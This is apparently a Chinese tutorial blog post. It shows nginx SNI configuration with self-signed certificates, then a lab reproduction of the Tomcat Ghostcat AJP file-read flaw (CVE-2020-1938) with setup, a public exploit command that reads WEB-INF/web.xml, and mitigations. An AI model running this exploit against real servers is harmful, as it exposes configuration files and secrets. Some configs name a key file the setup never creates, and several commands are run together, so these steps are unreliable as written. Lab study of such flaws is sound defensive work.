24小時(shí)學(xué)會(huì)網(wǎng)站建設(shè) 下載定制網(wǎng)站開發(fā)
sni
SNI產(chǎn)生背景
SSL以及TLS(SSL的升級(jí)版)為客戶端與服務(wù)器端進(jìn)行安全連接提供了條件。但是,由于當(dāng)時(shí)技術(shù)限制,SSL初期的設(shè)計(jì)順應(yīng)經(jīng)典的公鑰基礎(chǔ)設(shè)施 PKI(Public Key Infrastructure)設(shè)計(jì),PKI 認(rèn)為一個(gè)服務(wù)器只為一個(gè)域名提供服務(wù),從而一個(gè)服務(wù)器上也就只能使用一個(gè)證書。這樣客戶端在發(fā)送請(qǐng)求的時(shí)候,利用DNS域名解析,只要向解析到的IP地址(服務(wù)器地址)發(fā)送請(qǐng)求,然后服務(wù)器將自身唯一的證書返回回來,交給客戶端驗(yàn)證,驗(yàn)證通過,則繼續(xù)進(jìn)行后續(xù)通信。然后通過協(xié)商好的加密通道,獲得所需要的內(nèi)容。這意味著服務(wù)器可以在 SSL 的啟動(dòng)動(dòng)階段發(fā)送或提交證書,因?yàn)樗浪跒槟膫€(gè)特定的域名服務(wù)。
隨著HTTP 服務(wù)器開啟虛擬主機(jī)支持后,每個(gè)服務(wù)器通過相同的IP地址可以為很多域名提供服務(wù)。這種為虛擬主機(jī)提供通信安全的簡單途徑,卻經(jīng)常導(dǎo)致使用了錯(cuò)誤的數(shù)字證書,因?yàn)榉?wù)器端無法知道客戶端到底請(qǐng)求的是哪個(gè)域名下的服務(wù),從而導(dǎo)致瀏覽器對(duì)用戶發(fā)出警告。
不幸的是,當(dāng)設(shè)置了 SSL加密,服務(wù)器在讀取HTTP請(qǐng)求里面的域名之前已經(jīng)向客戶端提交了證書,也就是已經(jīng)為默認(rèn)域提供了服務(wù)。但是,一個(gè)服務(wù)器可能為上千個(gè)域名提供服務(wù),不可能將所有證書都發(fā)送給客戶端,讓客戶端一一驗(yàn)證,找到與請(qǐng)求域名對(duì)應(yīng)的證書。SNI的設(shè)計(jì)目的是為了讓服務(wù)器根據(jù)請(qǐng)求來決定為哪個(gè)域服務(wù),這個(gè)信息通常從HTTP請(qǐng)求頭獲得。
前置環(huán)境搭建:
[root@localhost nginx]# mkdir certificate
[root@localhost nginx]# cd certificate/[root@localhost certificate]# openssl genrsa -des3 -out ssl.key 4096
[root@localhost certificate]# openssl req -new -key ssl.key -out aaa.csr
[root@localhost certificate]# openssl x509 -req -days 365 -in aaa.csr -signkey ssl.key -out aaa.crt[root@localhost certificate]# openssl genrsa -des3 -out ssl2.key 4096
[root@localhost certificate]# openssl req -new -key ssl2.key -out bbb.csr
[root@localhost certificate]# openssl x509 -req -days 365 -in bbb.csr -signkey ssl2.key -out bbb.crt
[root@localhost certificate]# cd /var/www/
[root@localhost www]# mkdir aaa
[root@localhost www]# mkdir bbb
[root@localhost www]# echo "this is a" > /var/www/aaa/index.html
[root@localhost www]# echo "this is b" > /var/www/bbb/index.html
修改本機(jī)hosts文件在C:\Windows\System32\drivers\etc下
單主機(jī)生效
雙方使用同一個(gè)證書
server {listen 443 ssl;server_name www.aaa.com;ssl_certificate /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key /usr/local/nginx/certificate/ssl.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/aaa;index index.html index.htm;}}server {listen 443 ssl;server_name www.bbb.com;ssl_certificate /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key /usr/local/nginx/certificate/ssl.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/bbb;index index.html index.htm;}}
雙方使用不同證書
server {listen 443 ssl;server_name www.aaa.com;ssl_certificate /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key /usr/local/nginx/certificate/ssl.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/aaa;index index.html index.htm;}}server {listen 443 ssl;server_name www.bbb.com;ssl_certificate /usr/local/nginx/certificate/bbb.crt;ssl_certificate_key /usr/local/nginx/certificate/sslb.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/bbb;index index.html index.htm;}}
證書與私鑰的區(qū)分配置
server {listen 443 ssl;server_name www.aaa.com;ssl_certificate /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key /usr/local/nginx/certificate/ssl.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/aaa;index index.html index.htm;}}server {listen 443 ssl;server_name www.bbb.com;ssl_certificate /usr/local/nginx/certificate/bbb.crt;ssl_certificate_key /usr/local/nginx/certificate/sslb.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/bbb;index index.html index.htm;}}
端口號(hào)區(qū)分,證書區(qū)分
server {listen 8443 ssl;server_name www.bbb.com;ssl_certificate /usr/local/nginx/certificate/bbb.crt;ssl_certificate_key /usr/local/nginx/certificate/sslb.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/bbb;index index.html index.htm;}}server {listen 8444 ssl;server_name www.aaa.com;ssl_certificate /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key /usr/local/nginx/certificate/ssl.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/aaa;index index.html index.htm;}
端口號(hào)區(qū)分,證書不區(qū)分
server {listen 8443 ssl;server_name www.bbb.com;ssl_certificate /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key /usr/local/nginx/certificate/ssl.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/bbb;index index.html index.htm;}}server {listen 8444 ssl;server_name www.aaa.com;ssl_certificate /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key /usr/local/nginx/certificate/ssl.key;ssl_session_cache shared:SSL:1m;ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers on;location / {root /var/www/aaa;index index.html index.htm;}
tomcat幽靈貓漏洞復(fù)現(xiàn)
漏洞編號(hào):
CVE-2020-1938
CNVD-2020-10487
影響版本:
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
解決措施:
配置ajp配置中的secretRequired跟secret屬性來限制認(rèn)證 ;
臨時(shí)禁用AJP協(xié)議端口,在conf/server.xml配置文件中注釋掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” /> ;
環(huán)境搭建#
centos7安裝git,如果有g(shù)it則不用安裝
yum install git -y
安裝完成后使用下面的命令克隆環(huán)境
git clone https://github.com/laolisafe/CVE-2020-1938
啟動(dòng)Apache,注意有先安裝java環(huán)境
java環(huán)境安裝
wget https://download.oracle.com/java/19/latest/jdk-19_linux-x64_bin.tar.gztar -zxvf jdk-19_linux-x64_bin.tar.gz [root@localhost local]# tar -zxvf /usr/local/jdk-19_linux-x64_bin.
tar (child): /usr/local/jdk-19_linux-x64_bin.:無法 open: 沒有那個(gè)文件或目錄
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
如果在解壓是出現(xiàn)這個(gè)問題就將壓縮包移動(dòng)到/home下[root@localhost local]# mv jdk-19_linux-x64_bin.tar.gz /home/
[root@localhost local]# cd /home/
[root@localhost home]# ls
jdk-19_linux-x64_bin.tar.gz ztx
[root@localhost home]# tar -zxvf jdk-19_linux-x64_bin.tar.gz[root@localhost home]# vim /etc/profile
添加一下幾行
JAVA_HOME=/usr/local/jdk19.0.2
JAVA_BIN=/usr/local/jdk19.0.2/bin
PATH=$PATH:$JAVA_BIN
CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH[root@localhost home]# source /etc/profile
[root@localhost home]# env
tomcat環(huán)境安裝
[root@localhost home]# wget https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.85/bin/apache-tomcat-8.5.85.tar.gz
[root@localhost home]# tar -zxvf apache-tomcat-8.5.85.tar.gz[root@localhost home]# mv apache-tomcat-8.5.85/ /usr/local/tomcat8.0
[root@localhost home]# cd /usr/local/
[root@localhost local]# ln -s /usr/local/tomcat8.0/ /usr/local/tomcat[root@localhost local]# cd tomcat8.0/bin/
[root@localhost bin]# ls
bootstrap.jar commons-daemon-native.tar.gz setclasspath.sh tool-wrapper.bat
catalina.bat configtest.bat shutdown.bat tool-wrapper.sh
catalina.sh configtest.sh shutdown.sh version.bat
catalina-tasks.xml daemon.sh startup.bat version.sh
ciphers.bat digest.bat startup.sh
ciphers.sh digest.sh tomcat-juli.jar
commons-daemon.jar setclasspath.bat tomcat-native.tar.gz
[root@localhost bin]# vim catalina.sh
[root@localhost bin]# chmod +x *.sh
[root@localhost bin]# ./startup.sh (啟動(dòng)tomcat)
下載exp
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
我們這里讀取WEB-INF/web.xml文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.221.130
解決方案#
1、臨時(shí)禁用AJP協(xié)議端口,在conf/server.xml配置文件中注釋掉
2、配置ajp配置中的secretRequired跟secret屬性來限制認(rèn)證
3、官方下載最新版